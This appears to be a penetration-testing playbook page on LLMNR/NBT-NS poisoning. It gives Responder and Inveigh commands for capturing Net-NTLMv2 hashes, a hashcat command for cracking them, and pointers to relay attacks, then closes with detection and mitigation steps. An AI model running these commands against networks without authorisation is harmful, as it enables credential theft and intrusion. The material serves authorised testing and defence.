Internal Pentest

llmnr_poisoning

Technique

LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) poisoning are attack techniques that target Windows name resolution fallback mechanisms. When a Windows system can’t resolve a hostname using DNS, it falls back to these broadcast-based protocols. An attacker on the same network can respond to these broadcast requests, impersonating the requested resource and capturing authentication hashes.

This technique allows attackers to collect Net-NTLMv2 hashes that can be cracked offline or potentially relayed to authenticate to other services.

Prerequisites

Access Level: Network access to the target environment (same broadcast domain)

System State: Tr arget Windows systems with LLMNR and/oNBT-NS enabled (default in most Windows environments)

Tools: Responder (Linux) or Inveigh (Windows)

Execution

From Linux Using Responder

  1. Start Responder and listen for LLMNR/NBT-NS requests:
sudo responder -I eth0

  1. Wait for authentication hashes to come in as systems attempt to resolve hostnames

  2. Crack the captured Net-NTLMv2 hashes:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

From Windows Using Inveigh

PowerShell Version

Import-Module .\Inveigh.ps1
Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y -FileOutput Y

C# Version (InveighZero)

.\Inveigh.exe

You can view unique captured hashes by typing:

GET NTLMV2UNIQUE

View captured usernames:

GET NTLMV2USERNAMES

Abuse Options

Once you’ve captured Net-NTLMv2 hashes, you have two primary options:

  1. Crack the hashes offline using tools like Hashcat or John the Ripper to recover plaintext passwords

    1. hash_cracking

  2. Relay the authentication attempt to other services using NTLM Relay attacks (see relay attacks technique)

    1. relay_attacks

Hash Cracking with Hashcat

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Detection & Mitigation

Detection

  • Monitor network traffic for unusual LLMNR and NBT-NS responses
  • Look for authentication attempts from unexpected sources
  • Use honeypot hostnames that trigger alerts when resolved

Mitigation

  1. Disable LLMNR:

    • Via Group Policy: Local Computer Policy > Computer Configuration > Administrative Templates > Network > DNS Client > “Turn OFF multicast Name Resolution”

  2. Disable NBT-NS:

    • Navigate to Network Connections > Network Adapter Properties > TCP/IPv4 Properties > Advanced tab > WINS tab
    • Select “Disable NetBios over TCP/IP”

If you cannot disable these protocols:

  • Implement Network Access Control (NAC) to restrict unauthorized devices
  • Require strong passwords (14+ characters with complexity) to make hash cracking difficult
  • Segment networks to limit the scope of potential attacks
  • Use SMB signing to prevent NTLM relay attacks
  • Consider implementing additional authentication factors